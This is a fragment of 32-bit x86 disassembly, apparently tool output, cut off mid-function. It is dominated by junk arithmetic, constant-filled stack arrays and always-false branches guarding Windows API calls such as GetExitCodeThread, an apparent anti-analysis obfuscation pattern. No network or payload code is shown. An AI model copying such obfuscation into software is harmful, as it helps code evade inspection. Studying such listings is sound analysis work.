cmp dword [ebp - 0x28], eax
je 0x1003930b
mov ecx, esi
cmp dword [ebp - 0x3c], eax
jne 0x1003930d
mov ecx, eax
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x48]
imul eax, ecx
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1003933d
mov eax, dword [ebp - 0x40]
xor ecx, ecx
imul eax, dword [ebp - 0x18]
push 9
pop edx
cmp eax, edx
setl cl
or eax, 0xffffffff
cmp ecx, eax
jle 0x1003933d
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x40]
xor edx, edx
imul ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp esi, eax
setg cl
xor eax, eax
sub edx, ecx
cmp edx, dword [ebp - 0x40]
jg 0x1003936d
cmp dword [ebp - 0x40], eax
je 0x1003936d
xor esi, esi
inc esi
mov eax, esi
jmp 0x10039370
xor esi, esi
inc esi
mov dword [ebp - 0x50], eax
jmp 0x1003940b
xor eax, eax
mov dword [ebp - 0x54], 0x5446388d
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], al
je 0x10039391
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
imul edx, dword [ebp - 0x28]
push 0xfffffffffffffffc
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x2c]
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
imul eax, eax, 0xcc56
cmp eax, dword [ebp - 0x10]
jne 0x100393cc
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
mov eax, dword [ebp - 0x50]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x3c]
setne cl
sub edx, ecx
xor ecx, ecx
sub edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
mov dword [ebp - 0x50], ecx
xor eax, eax
mov dword [ebp - 0x24], 0xbbde
or ecx, 0xffffffff
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x48], 0xddaa
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10039441
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x74], 0x438bea12
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1003942c
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x10039457
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x174], 0xf3a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x10039446
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x74]
jle 0x10039467
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x74]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100394da
mov dword [ebp - 0x54], ecx
xor edx, edx
mov eax, dword [ebp - 0x74]
test eax, eax
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
imul ecx, dword [ebp - 0x74]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x74]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x2fd6
setg al
mov dword [ebp - 0x54], eax
jmp 0x10039614
mov dword [ebp - 0x30], 0xb1f3
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x10039501
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f8], 0xa755
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100394e9
xor eax, eax
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10039524
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x354], 0xb5bcdcec
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003950c
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x10039530
mov edi, eax
cmp dword [ebp - 0x30], eax
je 0x10039532
mov edi, esi
cmp dword [ebp - 0x24], eax
je 0x1003953c
cmp dword [ebp - 0x30], eax
jne 0x1003953e
mov esi, eax
mov ecx, dword [ebp - 0x174]
xor edx, edx
mov eax, dword [ebp - 0x174]
cmp ecx, eax
setg dl
imul eax, edx, 0xfffffffb
mov dword [ebp - 0x1f8], eax
cmp eax, dword [ebp - 0x30]
jge 0x1003956d
xor eax, eax
cmp dword [ebp - 0x1f8], eax
jne 0x1003956d
mov ecx, eax
jmp 0x10039572
xor eax, eax
lea ecx, [eax + 1]
xor eax, eax
cmp esi, ecx
sete al
xor ecx, ecx
cmp edi, eax
setne cl
xor esi, esi
imul ecx, dword [ebp - 0x28]
inc esi
test ecx, ecx
je 0x1003959a
mov dword [ebp - 0x54], 0xdd2dc097
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x3c], eax
jmp 0x10039603
xor eax, eax
mov dword [ebp - 0x54], 0xfffffffe
mov dword [ebp - 0x18], eax
jmp 0x100395b9
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x25c], 0xe950
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100395a8
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x350], eax
test eax, eax
jne 0x100395e8
cmp dword [ebp - 0x25c], eax
jne 0x100395e8
mov dword [ebp - 0x354], 0xd584d75f
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x54], eax
jmp 0x10039603
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x28], eax
xor eax, eax
mov byte [ebp - 0x19], al
cmp byte [ebp - 0x19], al
je 0x10039603
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
mov eax, dword [ebp - 0x354]
mov edi, 0x2c5b641b
mov dword [ebp - 0x350], eax
mov eax, dword [ebp - 0x3c]
xor edx, edx
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
mov ecx, dword [ebp - 0x28]
setg dl
imul eax, edx, 0xbf3a
add ecx, eax
jne 0x10039643
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x48]
xor edx, edx
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x74]
setg dl
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x24]
push 4
cmp edx, eax
pop edx
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], 0x31713b91
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jge 0x1003968e
or ecx, 0xffffffff
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xcd8], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x1003967a
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jge 0x100396aa